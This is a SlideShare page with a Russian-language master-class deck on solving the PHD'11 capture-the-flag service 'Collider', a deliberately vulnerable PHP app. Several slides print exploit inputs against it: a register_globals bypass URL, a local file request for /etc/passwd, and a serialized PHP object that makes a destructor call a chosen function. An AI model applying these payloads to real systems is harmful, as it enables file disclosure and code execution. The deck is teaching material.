Collider!   challenge            (мастер-класс)
Сервис Collider     Сервис хак-квеста PHD’11 - Collider.     Как проходить?      • crypt.php + (Ctrl+F “FLAGHERE”)      К...
Register Globals (#1)     Конфигурационный файл php.ini     register_globals = On     Изменение типа переменных скрипта   ...
Register Globals (#1)     http://localhost/cld/crypt.php?u1=O&pswd=O     if($j3==$u1[OTP]){print"FLAGHERE";}
HTTP Parameter Pollution (#2)   Ищем “FLAGHERE” – видим mysql_count()   function collider_debug(){if(!is_numeric($_REQUEST...
HTTP Parameter Pollution (#2)
Local File Disclosure (#3)        Ищем “FLAGHERE” – больше не работает  … function folowe($z1){$z1=str_replace(".","",$z1...
Local File Disclosure (#3)     http://localhost/cld/?permission=&op=/etc/passwd
Serialialise (#4)      $sessid = unserialize($_COOKIE[guest]);          class Collider_LO {          …           function ...
Serialialise (#4)     O:11:"Collider_LO":2:{s:3:"res";N;s:8:"collider";a:2:     {i:0;s:7:"phpinfo";i:1;i:-1;}}            ...
SQL Injection (#5)     SQL injection? Опять?     … $_REQUEST[notbanned]) {         $phd = $_SERVER[HTTP_PHD];      …      ...
SQL Injection (#5)                      
Спасибо за внимание!Вопросы?ygoltsev@ptsecurity.ru@ygoltsev
Upcoming SlideShare
Loading in …5
×

Юрий Гольцев - Сервис Collider

2,416 views

Published on

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
2,416
On SlideShare
0
From Embeds
0
Number of Embeds
873
Actions
Shares
0
Downloads
17
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Юрий Гольцев - Сервис Collider

  1. 1. Collider! challenge (мастер-класс)
  2. 2. Сервис Collider Сервис хак-квеста PHD’11 - Collider. Как проходить? • crypt.php + (Ctrl+F “FLAGHERE”)  Краткое содержание ситкома: • Register Globals • HTTP Parameter Pollution • Local File Disclosure • Сериализация • SQL Injection
  3. 3. Register Globals (#1) Конфигурационный файл php.ini register_globals = On Изменение типа переменных скрипта … $u1[OTP]=OTP_.$f3;/* … */ if(is_array($n3)){foreach($n3 as $s1=>$l2){$x0[$s1]=$l2;}}if(isset($_REQUEST[pswd])){ $j3=trim($_REQUEST[pswd]);if($j3==$u1[OTP]){print"FLAGHERE";}else{print"<script>alert(Failed)</script>";}} Function …. Предположения?
  4. 4. Register Globals (#1) http://localhost/cld/crypt.php?u1=O&pswd=O if($j3==$u1[OTP]){print"FLAGHERE";}
  5. 5. HTTP Parameter Pollution (#2) Ищем “FLAGHERE” – видим mysql_count() function collider_debug(){if(!is_numeric($_REQUEST[debug])&&is_numeric($_REQUEST[phpver])) …. if(is_numeric($_GET[debug])&&isset($_GET[phpver])){if($_GET[phpver]===phpversion()) …. print mysql_count("collider","debug"); Предложения? http://raz0r.name/articles/http-parameter-pollution/
  6. 6. HTTP Parameter Pollution (#2)
  7. 7. Local File Disclosure (#3) Ищем “FLAGHERE” – больше не работает  … function folowe($z1){$z1=str_replace(".","",$z1);if(file_exists($z1)){readfile($z1);}} … if(get_plain()){if(isset($_GET[op])&&!empty($_GET[op])){$w1=htmlspecialchars($_GET[op]);folowe($w1); … function get_plain(){if((isset($_REQUEST[permission]))&&($_REQUEST[permission]==$y1)){return 1;} Предложения?
  8. 8. Local File Disclosure (#3) http://localhost/cld/?permission=&op=/etc/passwd
  9. 9. Serialialise (#4) $sessid = unserialize($_COOKIE[guest]); class Collider_LO { … function __destruct() … $var = $this->shutdown[0]; $arg = $this->shutdown[1]; $var($arg); ... Предложения? https://rdot.org/forum/showthread.php?t=950 by BlackFan
  10. 10. Serialialise (#4) O:11:"Collider_LO":2:{s:3:"res";N;s:8:"collider";a:2: {i:0;s:7:"phpinfo";i:1;i:-1;}}  
  11. 11. SQL Injection (#5) SQL injection? Опять? … $_REQUEST[notbanned]) { $phd = $_SERVER[HTTP_PHD]; … $result=mysql_query("select id,phd,id as i,phd as p from status where id =$phd") … Предложения? 
  12. 12. SQL Injection (#5)  
  13. 13. Спасибо за внимание!Вопросы?ygoltsev@ptsecurity.ru@ygoltsev

×